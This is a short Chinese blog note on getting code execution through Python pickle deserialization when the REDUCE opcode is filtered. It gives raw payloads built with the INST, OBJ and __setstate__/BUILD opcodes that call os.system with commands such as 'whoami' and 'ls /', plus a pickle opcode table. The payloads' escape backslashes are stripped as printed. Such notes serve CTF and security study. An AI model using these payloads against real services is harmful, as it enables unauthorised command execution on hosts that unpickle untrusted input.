本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。
这篇文章只是记录一下在禁用了R指令也就是reduce方法的情况下如何进行pickle反序列化
R指令不可用的情况下还能用i指令和o指令
i
代码语言:javascript复制b'''(S'whoami'
ios
system
.'''
o
代码语言:javascript复制b'''(cos
system
S'whoami'
o.'''
setstate
代码语言:javascript复制payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb.'
payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
pickle opcode表
name | op | params | describe | e.g. |
---|---|---|---|---|
MARK | ( | null | 向栈顶push一个MARK | |
STOP | . | null | 结束 | |
POP | 0 | null | 丢弃栈顶第一个元素 | |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 | |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 | |
FLOAT | F | F [float] | push一个float | F1.0 |
INT | I | I [int] | push一个integer | I1 |
NONE | N | null | push一个None | |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandomnRandomn)R |
STRING | S | S [string] | push一个string | S 'x' |
UNICODE | V | V [unicode] | push一个unicode string | V 'x' |
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100na |
BUILD | b | [obj] [dict] b | 添加实例属性(修改__dict__) | cmodulenClsn)R(I1nI2ndb |
GLOBAL | c | c [module] [name] | 调用Pickler的find_class,导入module.name并push到栈顶 | cosnsystemn |
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 | (I0nI1nd |
EMPTY_DICT | } | null | push一个空dict | |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0ne |
GET | g | g [index] | 从memo获取元素 | g0 |
INST | i | MARK [args...] i [module] [cls] | 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class | (S'ls'niosnsystemn |
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 | (I0nl |
EMPTY_LIST | ] | null | push一个空list | |
OBJ | o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cosnsystemnS'ls'no |
PUT | p | p [index] | 将栈顶元素放入memo | p0 |
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0nI1ns |
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0nI1nt |
EMPTY_TUPLE | ) | null | push一个空tuple | |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict | }(I0nI1nu |
参考链接
pickle反序列化的利用技巧总结:https://zhuanlan.zhihu.com/p/361349643 从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势:https://zhuanlan.zhihu.com/p/89132768 通过AST来构造Pickle opcode:https://xz.aliyun.com/t/7012
浏览量: 360